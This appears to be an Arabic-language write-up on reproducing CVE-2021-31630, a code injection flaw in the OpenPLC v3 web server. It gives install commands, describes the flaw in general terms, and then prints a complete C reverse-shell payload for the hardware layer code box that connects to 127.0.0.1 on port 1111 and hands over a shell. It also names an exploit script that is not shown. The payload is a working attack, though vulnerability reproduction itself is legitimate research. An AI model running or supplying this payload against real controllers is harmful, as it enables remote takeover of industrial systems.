
لاستنساخ CVE-2021-31630
OpenPLC هو متحكم منطقي قابل للبرمجة مفتوح المصدر يعتمد على برمجيات سهلة الاستخدام. ينصب تركيزنا على توفير حل صناعي منخفض التكلفة للأتمتة والبحث. تم استخدام OpenPLC في العديد من الأوراق البحثية كإطار عمل لأبحاث الأمن السيبراني الصناعي، لأنه المتحكم الوحيد الذي يوفر كود المصدر الكامل. يتكون مشروع OpenPLC من ثلاثة مشاريع فرعية:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
حيث يمكن أن يكون [platform]:
win - تثبيت OpenPLC على ويندوز عبر Cygwin
linux - تثبيت OpenPLC على توزيعة لينكس مبنية على Debian
docker - يُستخدم بواسطة Dockerfile (أي لا يستدعي sudo)
rpi - تثبيت OpenPLC على Raspberry Pi
custom - تخطي جميع عمليات تثبيت الحزم المحددة ومحاولة تثبيت OpenPLC بافتراض أن نظامك يستوفي بالفعل جميع التبعيات المطلوبة. قد يكون هذا الخيار مفيدًا إذا كنت تحاول تثبيت OpenPLC على منصة لينكس غير مدعومة أو إذا كنت قد ثبّت جميع حزم التبعية يدويًا من قبل.
CVE-2021-31630 هي ثغرة من نوع حقن الكود/الأوامر في خادم الويب الخاص بـ OpenPLC (الإصدار v3 المستخدم على نطاق واسع من قبل المجتمع). يكمن الخلل في الميزة التي تسمح بتحميل/تعديل الكود في واجهة /hardware (Hardware Layer Code Box)، حيث لا يتم تصفية/تعقيم بيانات الإدخال بشكل كافٍ قبل معالجتها على مستوى الخادم، مما يؤدي إلى إمكانية تنفيذ كود بصلاحيات عملية خادم الويب. تم الكشف عن الثغرة في عام 2021 ولها درجة خطورة عالية في قواعد بيانات الثغرات العامة.
الوصف الفني (بالمستوى الدفاعي): تقبل واجهة الويب جزءًا من "hardware layer code" يدخله المستخدم. تتم معالجة هذه البيانات بعد ذلك بواسطة مكونات الخادم التي قد تترجم/توحّد أو تدخلها في سياق أوامر (command context) دون تنفيذ خطوة تحقق، أو تصفية للأحرف الخاصة، أو فرض قيود صارمة. في ظل ظروف معينة (مثل: دمج البيانات في سلسلة أوامر النظام، أو تمريرها مباشرة إلى دالة معالجة الكود)، يمكن للمهاجم إدخال مقاطع تحكم تُحدث تغييرًا في مسار التنفيذ.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
كود الاستغلال: cve-2021-31630.py